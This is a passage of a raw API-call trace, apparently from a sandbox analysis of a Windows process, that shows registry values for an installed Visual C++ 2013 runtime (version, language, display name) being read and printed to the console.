returned 0x1b5 [0149.290] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.291] GetConsoleOutputCP () returned 0x1b5 [0149.291] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.291] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.291] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.291] __iob_func () returned 0x7fefd702a80 [0149.291] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.291] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0149.291] _fileno (_File=0x7fefd702ab0) returned 1 [0149.291] _errno () returned 0x204bb0 [0149.291] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.291] _errno () returned 0x204bb0 [0149.291] GetFileType (hFile=0x50) returned 0x1 [0149.291] lstrlenW (lpString="0x1") returned 3 [0149.291] GetConsoleOutputCP () returned 0x1b5 [0149.291] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0149.291] GetConsoleOutputCP () returned 0x1b5 [0149.292] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0149.292] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0149.292] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.292] __iob_func () returned 0x7fefd702a80 [0149.292] _fileno (_File=0x7fefd702ab0) returned 1 [0149.292] _errno () returned 0x204bb0 [0149.292] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.292] _errno () returned 0x204bb0 [0149.292] GetFileType (hFile=0x50) returned 0x1 [0149.292] lstrlenW (lpString="\n") returned 1 [0149.292] GetConsoleOutputCP () returned 0x1b5 [0149.292] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.292] GetConsoleOutputCP () returned 0x1b5 [0149.292] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.292] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.292] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.292] GetProcessHeap () returned 0x3c0000 [0149.292] GetProcessHeap () returned 0x3c0000 [0149.292] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.292] GetProcessHeap () returned 0x3c0000 [0149.292] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.292] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.292] RegEnumValueW (in: hKey=0x5c, dwIndex=0x16, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Version", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.292] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Version", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.293] GetProcessHeap () returned 0x3c0000 [0149.293] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.293] GetProcessHeap () returned 0x3c0000 [0149.293] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.293] GetProcessHeap () returned 0x3c0000 [0149.293] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.293] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Version", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0xc00520d, pcbData=0x29f780*=0x4) returned 0x0 [0149.293] __iob_func () returned 0x7fefd702a80 [0149.293] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.293] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.293] _fileno (_File=0x7fefd702ab0) returned 1 [0149.293] _errno () returned 0x204bb0 [0149.293] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.293] _errno () returned 0x204bb0 [0149.293] GetFileType (hFile=0x50) returned 0x1 [0149.293] lstrlenW (lpString=" ") returned 4 [0149.293] GetConsoleOutputCP () returned 0x1b5 [0149.293] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.293] GetConsoleOutputCP () returned 0x1b5 [0149.293] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.293] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.293] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.293] lstrlenW (lpString="Version") returned 7 [0149.293] __iob_func () returned 0x7fefd702a80 [0149.293] _fileno (_File=0x7fefd702ab0) returned 1 [0149.293] _errno () returned 0x204bb0 [0149.293] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.293] _errno () returned 0x204bb0 [0149.293] GetFileType (hFile=0x50) returned 0x1 [0149.293] lstrlenW (lpString="Version") returned 7 [0149.294] GetConsoleOutputCP () returned 0x1b5 [0149.294] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Version", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0149.294] GetConsoleOutputCP () returned 0x1b5 [0149.294] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Version", cchWideChar=7, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Version", lpUsedDefaultChar=0x0) returned 7 [0149.294] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0149.294] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.294] __iob_func () returned 0x7fefd702a80 [0149.294] _fileno (_File=0x7fefd702ab0) returned 1 [0149.294] _errno () returned 0x204bb0 [0149.294] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.294] _errno () returned 0x204bb0 [0149.294] GetFileType (hFile=0x50) returned 0x1 [0149.294] lstrlenW (lpString=" ") returned 4 [0149.294] GetConsoleOutputCP () returned 0x1b5 [0149.294] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.294] GetConsoleOutputCP () returned 0x1b5 [0149.294] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.294] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.294] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.294] __iob_func () returned 0x7fefd702a80 [0149.294] _fileno (_File=0x7fefd702ab0) returned 1 [0149.295] _errno () returned 0x204bb0 [0149.295] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.295] _errno () returned 0x204bb0 [0149.295] GetFileType (hFile=0x50) returned 0x1 [0149.295] lstrlenW (lpString="REG_DWORD") returned 9 [0149.295] GetConsoleOutputCP () returned 0x1b5 [0149.295] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.295] GetConsoleOutputCP () returned 0x1b5 [0149.295] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.295] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.295] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.295] __iob_func () returned 0x7fefd702a80 [0149.295] _fileno (_File=0x7fefd702ab0) returned 1 [0149.295] _errno () returned 0x204bb0 [0149.295] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.295] _errno () returned 0x204bb0 [0149.295] GetFileType (hFile=0x50) returned 0x1 [0149.295] lstrlenW (lpString=" ") returned 4 [0149.295] GetConsoleOutputCP () returned 0x1b5 [0149.295] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.295] GetConsoleOutputCP () returned 0x1b5 [0149.295] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.295] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.295] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.296] __iob_func () returned 0x7fefd702a80 [0149.296] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.296] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0xc00520d") returned 9 [0149.296] _fileno (_File=0x7fefd702ab0) returned 1 [0149.296] _errno () returned 0x204bb0 [0149.296] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.296] _errno () returned 0x204bb0 [0149.296] GetFileType (hFile=0x50) returned 0x1 [0149.296] lstrlenW (lpString="0xc00520d") returned 9 [0149.296] GetConsoleOutputCP () returned 0x1b5 [0149.296] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xc00520d", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.296] GetConsoleOutputCP () returned 0x1b5 [0149.296] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xc00520d", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0xc00520d", lpUsedDefaultChar=0x0) returned 9 [0149.296] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.296] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.296] __iob_func () returned 0x7fefd702a80 [0149.296] _fileno (_File=0x7fefd702ab0) returned 1 [0149.296] _errno () returned 0x204bb0 [0149.296] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.296] _errno () returned 0x204bb0 [0149.296] GetFileType (hFile=0x50) returned 0x1 [0149.296] lstrlenW (lpString="\n") returned 1 [0149.296] GetConsoleOutputCP () returned 0x1b5 [0149.296] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.297] GetConsoleOutputCP () returned 0x1b5 [0149.297] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.297] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.297] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.297] GetProcessHeap () returned 0x3c0000 [0149.297] GetProcessHeap () returned 0x3c0000 [0149.297] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.297] GetProcessHeap () returned 0x3c0000 [0149.297] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.297] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.297] RegEnumValueW (in: hKey=0x5c, dwIndex=0x17, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Language", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.297] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Language", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.297] GetProcessHeap () returned 0x3c0000 [0149.297] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.297] GetProcessHeap () returned 0x3c0000 [0149.297] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.297] GetProcessHeap () returned 0x3c0000 [0149.297] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.297] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Language", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x409, pcbData=0x29f780*=0x4) returned 0x0 [0149.297] __iob_func () returned 0x7fefd702a80 [0149.297] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.297] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.297] _fileno (_File=0x7fefd702ab0) returned 1 [0149.297] _errno () returned 0x204bb0 [0149.297] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.297] _errno () returned 0x204bb0 [0149.297] GetFileType (hFile=0x50) returned 0x1 [0149.297] lstrlenW (lpString=" ") returned 4 [0149.297] GetConsoleOutputCP () returned 0x1b5 [0149.298] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.298] GetConsoleOutputCP () returned 0x1b5 [0149.298] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.298] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.298] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.298] lstrlenW (lpString="Language") returned 8 [0149.298] __iob_func () returned 0x7fefd702a80 [0149.298] _fileno (_File=0x7fefd702ab0) returned 1 [0149.298] _errno () returned 0x204bb0 [0149.298] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.298] _errno () returned 0x204bb0 [0149.298] GetFileType (hFile=0x50) returned 0x1 [0149.298] lstrlenW (lpString="Language") returned 8 [0149.298] GetConsoleOutputCP () returned 0x1b5 [0149.298] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Language", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0149.298] GetConsoleOutputCP () returned 0x1b5 [0149.298] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Language", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Language", lpUsedDefaultChar=0x0) returned 8 [0149.298] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0149.298] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.298] __iob_func () returned 0x7fefd702a80 [0149.298] _fileno (_File=0x7fefd702ab0) returned 1 [0149.298] _errno () returned 0x204bb0 [0149.298] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.298] _errno () returned 0x204bb0 [0149.299] GetFileType (hFile=0x50) returned 0x1 [0149.299] lstrlenW (lpString=" ") returned 4 [0149.299] GetConsoleOutputCP () returned 0x1b5 [0149.299] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.299] GetConsoleOutputCP () returned 0x1b5 [0149.299] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.299] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.299] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.299] __iob_func () returned 0x7fefd702a80 [0149.299] _fileno (_File=0x7fefd702ab0) returned 1 [0149.299] _errno () returned 0x204bb0 [0149.299] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.299] _errno () returned 0x204bb0 [0149.299] GetFileType (hFile=0x50) returned 0x1 [0149.299] lstrlenW (lpString="REG_DWORD") returned 9 [0149.299] GetConsoleOutputCP () returned 0x1b5 [0149.299] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.299] GetConsoleOutputCP () returned 0x1b5 [0149.300] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.300] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.300] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.300] __iob_func () returned 0x7fefd702a80 [0149.300] _fileno (_File=0x7fefd702ab0) returned 1 [0149.300] _errno () returned 0x204bb0 [0149.300] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.300] _errno () returned 0x204bb0 [0149.300] GetFileType (hFile=0x50) returned 0x1 [0149.300] lstrlenW (lpString=" ") returned 4 [0149.300] GetConsoleOutputCP () returned 0x1b5 [0149.300] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.300] GetConsoleOutputCP () returned 0x1b5 [0149.300] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.300] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.300] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.300] __iob_func () returned 0x7fefd702a80 [0149.300] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.300] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x409") returned 5 [0149.300] _fileno (_File=0x7fefd702ab0) returned 1 [0149.300] _errno () returned 0x204bb0 [0149.300] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.300] _errno () returned 0x204bb0 [0149.300] GetFileType (hFile=0x50) returned 0x1 [0149.300] lstrlenW (lpString="0x409") returned 5 [0149.300] GetConsoleOutputCP () returned 0x1b5 [0149.301] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x409", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0149.301] GetConsoleOutputCP () returned 0x1b5 [0149.301] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x409", cchWideChar=5, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x409", lpUsedDefaultChar=0x0) returned 5 [0149.301] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 5 [0149.301] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.301] __iob_func () returned 0x7fefd702a80 [0149.301] _fileno (_File=0x7fefd702ab0) returned 1 [0149.301] _errno () returned 0x204bb0 [0149.301] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.301] _errno () returned 0x204bb0 [0149.301] GetFileType (hFile=0x50) returned 0x1 [0149.301] lstrlenW (lpString="\n") returned 1 [0149.301] GetConsoleOutputCP () returned 0x1b5 [0149.301] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.301] GetConsoleOutputCP () returned 0x1b5 [0149.301] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.301] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.301] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.301] GetProcessHeap () returned 0x3c0000 [0149.301] GetProcessHeap () returned 0x3c0000 [0149.301] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.301] GetProcessHeap () returned 0x3c0000 [0149.302] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.302] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.302] RegEnumValueW (in: hKey=0x5c, dwIndex=0x18, lpValueName=0x3d5c00, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.302] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x78) returned 0x0 [0149.302] GetProcessHeap () returned 0x3c0000 [0149.302] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x7a) returned 0x3db830 [0149.302] GetProcessHeap () returned 0x3c0000 [0149.302] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0149.302] GetProcessHeap () returned 0x3c0000 [0149.302] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x7a [0149.302] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x78 | out: pdwType=0x29f700*=0x1, pvData="Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005", pcbData=0x29f780*=0x76) returned 0x0 [0149.302] __iob_func () returned 0x7fefd702a80 [0149.302] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.302] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.302] _fileno (_File=0x7fefd702ab0) returned 1 [0149.302] _errno () returned 0x204bb0 [0149.302] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.302] _errno () returned 0x204bb0 [0149.302] GetFileType (hFile=0x50) returned 0x1 [0149.302] lstrlenW (lpString=" ") returned 4 [0149.302] GetConsoleOutputCP () returned 0x1b5 [0149.302] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.302] GetConsoleOutputCP () returned 0x1b5 [0149.302] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | 